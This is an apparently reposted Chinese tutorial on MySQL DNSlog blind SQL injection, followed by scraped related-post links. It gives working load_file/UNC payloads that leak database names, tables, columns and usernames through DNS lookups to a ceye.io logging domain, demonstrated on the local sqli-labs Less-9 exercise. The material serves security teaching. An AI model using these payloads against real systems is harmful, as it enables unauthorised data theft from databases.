@Adminxe

dnslog原理简介:

简单理解就是在利用注入漏洞的时候,页面无回显,无法直接获得回显信息的情况下,目标可以发起DNS请求,这时就可以尝试通过DNSlog注入的方式把想获得的数据外带出来。

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入。

mysql下的dnslog注入:

利用条件:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux ,原因如下:

load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

1.show variables like

‘%secure%’;      //查看secure_file_priv的配置情况

查询当前数据库:

and load_file(concat(‘\\\\’,(select

database()),’.xtftm5.ceye.io\\sql’))          //xtftm5.ceye.io根据ceye平台给你的域名更改,\\sql是域名目录,随意即可,select database()换成sql注入payload即可

查询表名:

and load_file(concat(‘\\\\’,(select table_name from

information_schema.tables where table_schema=’security’ limit

0,1),’.xtftm5.ceye.io\\sql’))

查询列名:

and load_file(concat(‘\\\\’,(select column_name from

information_schema.columns where table_schema=’security’ and table_name=’users’

limit 0,1),’.xtftm5.ceye.io\\sql’))

查询数据:

and load_file(concat(‘\\\\’,(select username from

users limit 0,1),’.xtftm5.ceye.io\\sql’))

实战演示sqli的第九关 :

查询当前数据库名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select

database()),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了当前数据库的名字

查询当前数据库的第一个表名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select

table_name from information_schema.tables where table_schema=’security’ limit

0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了第一个表的名字

查询第users表一个列名:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select

column_name from information_schema.columns where table_schema=’security’ and

table_name=’users’ limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了users表第一列的名字

查询users表的username列的数据:

http://127.0.0.1/sqli/Less-9/?id=1‘ and load_file(concat(‘\\\\’,(select

username from users limit 0,1),’.xtftm5.ceye.io\\sql’))–+

可以看到这里成返回了username第一个的数据

需要注意的点:

1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

http://127.0.0.1/sqli/Less-9/?id=1‘ and

load_file(concat(‘\\\\’,(select hex(user())),’.xtftm5.ceye.io\\sql’))–+

2.如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

http://127.0.0.1/sqli/Less-9/?id=1‘ and

load_file(concat(‘\\\\’,(select hex(group_concat(table_name)) from information_schema.tables

where table_schema=’security’),’.xtftm5.ceye.io\\sql’))–+

查询到的是hex编码的结果

利用工具hex解码一下即可

喜欢 (4)or分享 (0)

mysql dnslog_mysql-dnslog注入相关推荐

  1. (17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程

    目录 cookie注入 sqli-lasb-master less-21 方法一:用burpsuite进行抓包后修改 方法二:安装火狐的cookie manager等插件进行修改cookie 第一步: ...

  2. php mysql 防 sql注入_php 防sql注入方法

    php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...

  3. mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...

    本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...

  4. 雷林鹏分享:MySQL 及 SQL 注入

    MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

  5. 三十一、MySQL 及 SQL 注入

    MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

  6. mysql 8.0 自定义函数_PHP+Mysql防止SQL注入的方法(life)

    这篇文章介绍的内容是关于PHP+Mysql防止SQL注入的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 我的官方群点击此处. 方法一: mysql_real_escape_str ...

  7. phpcms mysql 事务_phpcms某站点MySQL报错注入

    phpcms某站点MySQL报错注入 Referer可注入:GET /index.php HTTP/1.1Referer: 123*User-Agent: Mozilla/5.0 (iPhone; C ...

  8. 遭遇一次MySQL猜解注入攻击

    遭遇一次MySQL猜解注入攻击 前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份.查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼: 1 UPDATE tabl ...

  9. mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]

    1,常规数字型 mysql 实例注入点,如下:1https://www.vuln.com/md_materia_profile_view.php?viewid=2 2,依旧先尝试下经典的单引号,如下, ...

  10. mysql 防注入 php_PHP+mysql防止SQL注入的方法小结

    本文实例讲述了PHP+mysql防止SQL注入的方法.分享给大家供大家参考,具体如下: SQL注入 例:脚本逻辑 $sql = "SELECT * FROM user WHERE useri ...

最新文章

  1. java resume_Java JPushInterface.resumePush方法代码示例
  2. [Qt教程] 第37篇 网络(七)TCP(一)
  3. abap 中modify 的使用
  4. 接facebook广告_Facebook广告分析
  5. 全国电视直播v1.0
  6. 现代软件工程 第五章 【团队和流程】练习与讨论
  7. 一些常见技术问题提问方式
  8. 典型的异步客户端套接字构建
  9. 【c++leetcode】判断一个数是否是2的幂、3的幂、4的幂
  10. mock.js那点事(上)
  11. java 长整型long_C语言和java 长整型为何打印不同?
  12. java贪吃蛇详细设计,javascript贪吃蛇游戏设计与实现
  13. 微信小程序商城源码C# 、Asp.Net, Mvc +sqlserver 2012+后台 微信小程序源码C#
  14. EXTJS开发过程遇到的一些问题的小结(转自麦田守望者)
  15. python如何采集同花顺股票日度历史数据
  16. 蓝蓝算法第二期,T51
  17. 2022LOL微博杯模糊问题,1080p高清看微博杯the shy比赛直播
  18. SpringbootHealth访问健康监测时报404问题
  19. 【历史上的今天】8 月 8 日:中国第一个校园 BBS 成立;网景通信上市;EarthLink 创始人出生
  20. 大家在人生低谷时有多惨,怎么熬过来的

热门文章

  1. RCNN和SPPnet
  2. 检测模型改进—OHEM与Focal-Loss算法总结
  3. AuNPs功能化聚苯乙烯丙烯酸微球/导电聚苯胺纳米线/聚苯胺纳米纤维修饰聚苯乙烯微球制备方法
  4. cmwap可用炒股软件-国信证券软件
  5. linux ubuntu配置ip地址命令,Ubuntu系统下配置IP地址方法介绍
  6. 机器学习小组系列笔记---(一)knn算法
  7. 阿里HR熬夜整理76道软件测试常见面试题
  8. 解决MacOS下readlink: illegal option -- f
  9. 支付宝要融资上市,马云大赚,不过他承诺捐了
  10. 从0开始配置服务器PHP + Nginx